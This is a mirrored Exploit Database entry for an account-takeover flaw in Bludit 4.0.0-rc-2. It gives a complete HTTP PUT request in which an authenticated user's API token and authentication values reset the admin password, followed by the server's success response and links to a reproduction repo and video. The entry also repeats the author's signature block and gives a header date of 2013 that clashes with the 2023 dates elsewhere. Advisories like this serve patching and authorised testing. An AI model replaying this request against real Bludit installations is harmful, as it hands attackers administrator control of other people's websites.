Bludit 4.0.0-rc-2 – Account takeover

• Exploit Database
• 16 阅读

• 作者： nu11secur1ty
  日期： 2023-04-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51360/

• ## Exploit Title: Bludit 4.0.0-rc-2 - Account takeover
  ## Author: nu11secur1ty
  ## Date: 04.11.2013
  ## Vendor: https://www.bludit.com/
  ## Software: https://github.com/bludit/bludit/releases/tag/4.0.0-rc-2
  ## Reference: https://www.cloudflare.com/learning/access-management/account-takeover/
  ## Reference: https://portswigger.net/daily-swig/facebook-account-takeover-researcher-scoops-40k-bug-bounty-for-chained-exploit
  
  ## Description:
  The already authenticated attacker can send a normal request to change
  his password and then he can use
  the same JSON `object` and the vulnerable `API token KEY` in the same
  request to change the admin account password.
  Then he can access the admin account and he can do very malicious stuff.
  
  STATUS: HIGH Vulnerability
  
  [+]Exploit:
  ```PUT
  PUT /api/users/admin HTTP/1.1
  Host: 127.0.0.1:8000
  Content-Length: 138
  sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
  sec-ch-ua-platform: "Windows"
  sec-ch-ua-mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50
  Safari/537.36
  content-type: application/json
  Accept: */*
  Origin: http://127.0.0.1:8000
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: http://127.0.0.1:8000/admin/edit-user/pwned
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: BLUDIT-KEY=98t31p2g0i7t6rscufuccpthui
  Connection: close
  
  {"token":"4f8df9f64e84fa4562ec3a604bf7985c","authentication":"6d1a5510a53f9d89325b0cd56a2855a9","username":"pwned","password":"password1"}
  
  ```
  
  [+]Response:
  ```HTTP
  HTTP/1.1 200 OK
  Host: 127.0.0.1:8000
  Date: Tue, 11 Apr 2023 08:33:51 GMT
  Connection: close
  X-Powered-By: PHP/7.4.30
  Access-Control-Allow-Origin: *
  Content-Type: application/json
  
  {"status":"0","message":"User edited.","data":{"key":"admin"}}
  ```
  
  
  ## Reproduce:
  [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bludit/2023/Bludit-v4.0.0-Release-candidate-2)
  
  ## Proof and Exploit:
  [href](https://streamable.com/w3aa4d)
  
  ## Time spend:
  00:57:00
  
  
  -- 
  System Administrator - Infrastructure Engineer
  Penetration Testing Engineer
  Exploit developer at https://packetstormsecurity.com/
  https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
  https://www.exploit-db.com/
  0day Exploit DataBase https://0day.today/
  home page: https://www.nu11secur1ty.com/
  hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
  nu11secur1ty <http://nu11secur1ty.com/>
  
  
  -- 
  System Administrator - Infrastructure Engineer
  Penetration Testing Engineer
  Exploit developer at https://packetstormsecurity.com/
  https://cve.mitre.org/index.html
  https://cxsecurity.com/ and https://www.exploit-db.com/
  0day Exploit DataBase https://0day.today/
  home page: https://www.nu11secur1ty.com/
  hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
  nu11secur1ty <http://nu11secur1ty.com/>